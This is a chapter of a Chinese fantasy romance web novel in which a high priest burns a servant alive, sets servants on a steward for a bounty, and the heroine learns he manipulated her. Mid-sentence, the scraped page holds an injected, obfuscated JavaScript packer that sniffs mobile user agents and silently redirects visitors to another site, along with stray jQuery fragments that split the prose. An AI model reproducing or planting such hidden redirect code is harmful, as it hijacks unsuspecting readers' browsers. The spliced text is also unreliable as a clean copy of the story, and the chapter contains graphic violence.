22. 你利用我?

作品:《阴湿小狗他又在装乖

    这话一出,四周安静得滴水可闻,所有人都停下了手中动作,用一种惊恐的眼神看着白落烟。


    那随从本已经想伸手攥住她的肩膀,一时间也摸不准郁安淮到底在不在了。他吞了下口水,干巴巴道,“便是大祭司不在,你怎敢直呼大祭司的名讳……这是大不敬!”


    白落烟耸耸肩,她倒是无所谓,既然已经九大罪状了,加上大不敬又如何。


    在她的背后,角落里的暗影仿佛是邪恶之物被法咒赋予了三魂七魄,它慢慢立起来,撑起一个高挑少年的形状。先是织物崩断之声响起,然后是衣摆拖曳在地,摩擦出极细微的声响。


    那暗影不急不缓,一步一步走到晨曦中来,现出郁安淮的脸。


    他脸色苍白阴沉,眼下有几分淡淡的乌青,眉宇间满是被吵醒的不耐。


    他十分狼狈,身上缠着断裂凌乱的红线,手还捆在一起,一身斑驳印痕,像被封印千年的恶鬼挣脱封印重现于世。


    然而,没人敢轻视他。


    除了他们几个,满院之人全都仓皇跪伏在地,不约而同屏住呼吸,不敢抬头看他。


    郁安淮对满院子的人视若无睹,轻飘飘过来,将身子贴到白落烟背后。


    他极自然地将下颌搭在白落烟头顶,双手绕到她身前环住,用衣袖几乎将她笼住了。


    “挪开。”白落烟不悦。


    “哎呀,我的心口好凉……”他哼笑,原本清越的音色余着三分困倦喑哑,“这是为何呀?”


    白落烟:“……莫要饶舌。”


    郁安淮的调笑尚还话音未落,火焰骤然毫无征兆从那离她最近的随从身上燃起来。烈火蔓延,把远处的巫傀也烧得扭曲挣扎,很快就消散了。


    可那人身上的火却烧得极慢。


    那人被包裹在烈焰中,惨叫着踉跄几步,倒地上痛苦地翻滚着。


    “啊!!!!救救我!!管事!!救救我!!!”他绝望地伸出手,想去抓自己的同僚,却被他们如躲瘟神一样一样躲开。


    惨叫声回荡在庭院里,一众下属跪在地上噤若寒蝉。


    “够了。”白落烟受不了这地狱一般的场景。


    郁安淮极轻地“唔”了一声算是应了,终于给了那人一个痛快。火光与惨叫都消失了,只余下满庭死亡的气息。


    他低声不满道,“小枝,你在凡间呆的太久,怎么什么东西都能在你面前说上两句了。”


    那惨叫还在白落烟脑海中回荡,白落烟张张嘴,不知道该说什么。


    郁安淮似乎也没期待她说什么,没得到回应也不恼。他低头扫了一眼白落烟手中的诉状,薄唇一弯,漫不经心吩咐道,“有趣。告诉那老乌龟,古神殿的诉状,我自会应的。”


    管事早已汗如雨下,与刚才趾高气扬的样子判若两人,听了这话如蒙大赦,起身就要溜走。


    郁安淮话锋一转,“但我可不知,郁家的管事,什么时候成了古神殿和宋家的狗?”


    “回大祭司,是古神殿要提审白落烟,大巫觋令我等带着的诏印巫傀前来。”管事站起的那条腿又跪下去,硬着头皮回道,“请大祭司明鉴,我等绝无二心!”


    郁安淮并不满意这个解释,“说谎。”


    “正巧白家主门下暂无客卿。”郁安淮抬了抬下颌,懒洋洋朝着管事指了指,话却是对随从们说的。


    “谁能抢到他身上一块,赏百金。谁抢的骨肉最大,便能做白家主的第一个客卿。”


    话音一落,院中更是死寂。


    那群傀儡一般的随从们,听见百金二字,都像是被看不见的线提起来了,齐齐朝管事看去。


    那一双双死寂顺服的眼睛,眨眼间就毫不掩饰地染上了贪婪和恨意。


    有人尚在迟疑,有人垂在身侧的手微微抽动一下。


    “大祭司……啊!!”管事听了郁安淮的话,猛然抬头,可还没等他狡辩,腹部便透出一根血淋淋的冰锥来。


    “大胆!你们竟敢以下犯上?!你们……呃!”管事的不可置信地回头,他强作镇定,怒喝。


    然而这场狩猎盛宴已然被第一滴血点燃了,剩下的人再无半分犹豫,唯恐自己慢人一步。顷刻间,无数的咒术法宝如狂风暴雨般砸向他。


    管事起身后退,昔日最忠实的随从们如饥恶的狼群步步紧跟。


    有的舔舔嘴唇,道,“管事,这也是没办法的事,您忍忍吧,很快的。”


    “畜生!你们这些畜生!!!”管事他目眦欲裂,绝望嘶吼道。他年事已高,招架不住群起攻之,只几息后,一只左手便落在了地上,不知被谁捡去了。


    那些随从们兵分两路,一些去争抢那左手,剩下的继续朝着他攻来,像是有什么深仇大恨一般。


    白落烟不想看,也不便干涉他们的家事。


    她想着眼不见心不烦,伸手一推,把郁安淮拨开,转身要走。


    “郁安淮!”管事双眼血红,他被逼到末路,再无回天之力,绝望喊道,“我看你还能嚣张到几时!白落烟是断剑!断剑!神女陨落了!你听的哪门子神谕!你当的什么大祭司!”


    “等古神殿上七曜知晓,你的好日子就到头了!”


    白落烟猝然停步。


    一盆冰雪从头淋到脚,神女陨落这件事,他们是怎么知道的?!


    然而,郁安淮并没有露出什么惊讶的神情,连睫羽都没有颤动一下。


    他站在廊上,居高临下。那死寂的眸子冷冷审视着这场惨绝人寰的争夺,半点波澜也无。


    得不到任何反应,那管事最后的筹码也没有了,更是绝望。


    他跌坐在地,手脚并用往后退,抖着嗓子祈求道,“你们别过来……我给你们每人百金!不,两百金!!!你们动动脑子,等到明日真相大白,他郁安淮就坐不稳大祭司的位置了!谁来兑现给你们的承诺?!”


    然而那些尔虞我诈不当穿不当吃,与随从们半点不相干,甚至不能让他们错开一下视线。


    这群随从们死死盯着管事围过去,像是盯着一块流着油的肥肉。


    他们步步紧逼,“少挣扎些,别弄脏了主子的院子。”


    郁安淮看厌了,招唤灵犀去取件合身的新衣,说是要去应古神殿的诉。


    白落烟顾不得其他,上前一把扯住他,“等等!你没听到么!你大难临头了!”


    她不明白局势,但大概也知道自己给他惹了大事,满心都是愧疚,“我……我连累你了,是不是?”


    郁安淮指尖一顿,错开目光,似乎有些无措,他叹口气,握住她的手,“你啊,莫要多想,如今等着看好戏就是了。


    白落烟指尖发冷,咬紧唇瓣。人已在戏台上,如何安然看戏?


    郁安淮怎么对她这么好?她捅了天大篓子,他居然半点火气也无,更没有怪罪自己连累他。


    白落烟心头酸涩,她不喜他死缠烂打,但属实真的还有几分良心在,不愿意给他添麻烦。


    他越是云淡风轻,自己越是愧疚。


    “是我不懂规矩,乱说话乱做事才害你如此……”


    “哪里的话……你不是闹着要和整个白玉京讨要公平么?机会这不就来了。”郁安淮轻声安抚道。


    讨要公平?


    宋家不甘心,七曜这群吸血虫是不会甘心轻易权柄旁落的,反咬一口是意料之中,这白落烟自然清楚。


    如郁安淮所言,她一心想要替天行道,讨要公平。


    可她一向藏于深闺,现今拿到了神剑的碎片,也只知道靠着蛮力杀出一条路,能救一个是一个。


    她清楚自己几斤几两,再多的,也做不到了。


    可郁安淮却说,如今这祸事反而于她要讨要公平有利……


    “这又是为何?”白落烟百思不得其解。她抬眼,迫不及待去找寻郁安淮的目光。


    郁安淮慢条斯理,如善弈者落子轻描淡写,“你那般举动原本无伤大雅,但若和神女陨落,我传假神谕,这两件事并列而观,就变成了大事。”


    “有些人太急了。”他神色是成竹在胸的骄矜傲慢,“自以为抓住了救命稻草,想着这定是将我一举扳倒的大好时机。”


    “可事实上呢?真是如此吗?”


    白落烟随着他的话尽力思考,却依然不明白,“那我……?”


    “你做的很好。”郁安淮摇摇头,打断她的话。


    修长手指拂开她额边碎发,暖意稍纵即逝,“小枝,多笑一笑。你的眼睛很美,不该被恐惧占据。”


    他镇定过头了,气定神闲,如同万般尽在掌握。


    白落烟心头一突,一个荒诞的想法从她的脑海冒出来。


    她猛地抽了口凉气,“嘶……你……你!!!这消息是你……?”


    郁安淮歪头,似乎对她的反应有些意外,随即略一点头,道:“原想着事情了结后再告诉你的。”


    什么???


    疯了,统统都疯了!


    这要他命的消息……是他自己放出去的!!!


    白落烟一阵恍惚。


    那厢厮杀渐渐惨烈,鲜血飞溅,她明明离得很远,可这血却像是溅了她满身。


    “为什么……?你明知道这消息会把我架在火上烤……”


    “你放心,我不会害你的。”郁安淮闻言轻笑,“宋家不会放过这样的机会,古神殿也不会。我只是添一把火罢了。”


    话说到这个地步,驽钝如白落烟也终于明白了。


    不知为何胸口突然一跳,随即而来的是说不清道不明的锐痛传遍四肢百骸。


    她本


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566726|187006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以为自己会生气,会失望,可是都没有。


    在知道真相这一刻,她竟是说不出的平静,甚至松了一口气。


    也难怪,悬在头顶的剑刃终于落了下来,能有什么意外和震惊呢,于她反而是一种解脱吧。


    “所以,你什么都知道,你利用我。”


    郁安淮眉心一蹙,“如何算得上利用?你我可是殊途同归。我们合作,不就是为了破了这些世家定下的规矩,掀翻这腐朽肮脏的世道?”


    他有几分被泼了脏水的不悦,“还是说,你想在家里苟延残喘,继续守着白玉京的规矩?你别忘了,没灵脉可是死罪。”


    白落烟张张嘴,不知如何反驳。


    郁安淮满意笑了,“这便是了,你既然不想守规矩,就要做定规矩的人。”


    “想定规矩的如过江之鲫,不经厮杀博弈,有哪个肯平白无故把机会拱手让人?”


    她自然想做定规矩的人。路有千万条,本可以徐徐图之,为何偏偏要选择最血腥,最铤而走险的一招?


    先前她已然料想到白家忽然崛起必定树敌,但敌人也仅仅是宋家及其亲眷。


    可如今,若是郁安淮想要借她之手,直接掀翻七曜世家的神威权柄,那么白家就是活靶子,是万万没有好下场的!


    “我的家人朋友们要怎么办吗。”白落烟喉头发涩,道,“七曜世家的明枪暗箭,他们如何躲得过?”


    “无需担忧那些你砍不到的妖魔鬼怪。我会把他们打回原形,送到你的刀下来。”郁安淮成竹在胸,神神秘秘道,“你目前要做的,就是尽力把水搅浑。”


    是吗。


    他说,她目前要做的,就是看戏,目前要做的,就是把水搅浑。目前要做的就是……


    如此波澜不惊,如此成熟缜密,就像是认真思考规划过一般。


    他是高明的棋士,她一举一动尽在掌握,连未来几手都安排好了。


    可他哪怕跟她提到过一句吗?


    她一直蒙在鼓里,手忙脚乱,绝望又不安。


    他哪怕有一刻问过她的意思吗!


    若她知道凶险至此,怎么可能答应!


    这一步一旦走错,不单单他本人,凡与他有牵连的人,恐怕都要遭到清算!


    而且,这不是小事!


    连她这个没脑子的人都知道,此事并非是白家之祸,是白玉京之祸!


    神女陨落,当神的权柄凋零,那谁才是白玉京真正的主宰?


    不用多想都知道,这定然要天下大乱!


    是伏尸百万,流血千里的大劫难!


    这时候她才明白了大巫觋要她来阻止郁安淮时候所说的,业火烧遍四海八荒又是何等含义。


    这人骨子里就是疯的,他对他自己的安危一点也不在乎,心里更是没有社稷众生。


    他之所以委曲求全,从神剑现世就开始大献殷勤,不过是因为,她是他灭世计划的最后一块版图。


    毕竟,她这种没有根基,一张白纸一般的人,最是适合当傀儡使唤。


    那前世道侣什么的,也是编出来的吧。


    先前还想他到底在图谋自己什么,如今这一闹竟然分明了。


    也是,这世上是没有人无缘无故能对别人这样好的,除非他有利可图。


    白落烟被自己蠢笑了,真是每天上一当,当当不一样。


    险些被这个人的好皮囊和花言巧语哄骗过去,和他一起做下无法挽回的事情!


    “那你知道,把水搅浑的代价吗?”白落烟问,想听他如何诡辩。


    “自然。”然而郁安淮却说,“我的代价已然付过了。那你呢,不妨想想看,你愿意付出什么代价呢?”


    白落烟心底一凉,攥着他没松手。


    这又是什么意思?


    什么叫他的代价已然付过了?他付出什么了?她要付出什么?白家又要付出呢?


    可她再追问,郁安淮说什么都不肯明言了。几番纠缠之下,灵犀也拿着新衣服到了。


    他低头打量着她攥着他手腕的手,微微一笑,如鬼似魅。“如此不舍得我,小枝是要看我如何更衣吗?”


    怎么会呢。


    世家的态度,古神殿的举措,郁安淮作为大祭司的立场和布局,这些她云里雾里,一概不知。


    那些波诡云谲,栽赃罗织,她更是无章可循。


    等反应过来,已然深入局中了,茫茫然不知道在为谁,为什么冲锋陷阵。


    被人当刀使的感觉真是恶心透顶。


    白落烟松开手,“不了,没兴趣。”


    郁安淮笑意一顿。


    白落烟随手把衣服丢到他身上,嘲讽道,“事到如今,何必惺惺作态。”


    “大祭司穿件衣服吧,真是令人作呕。”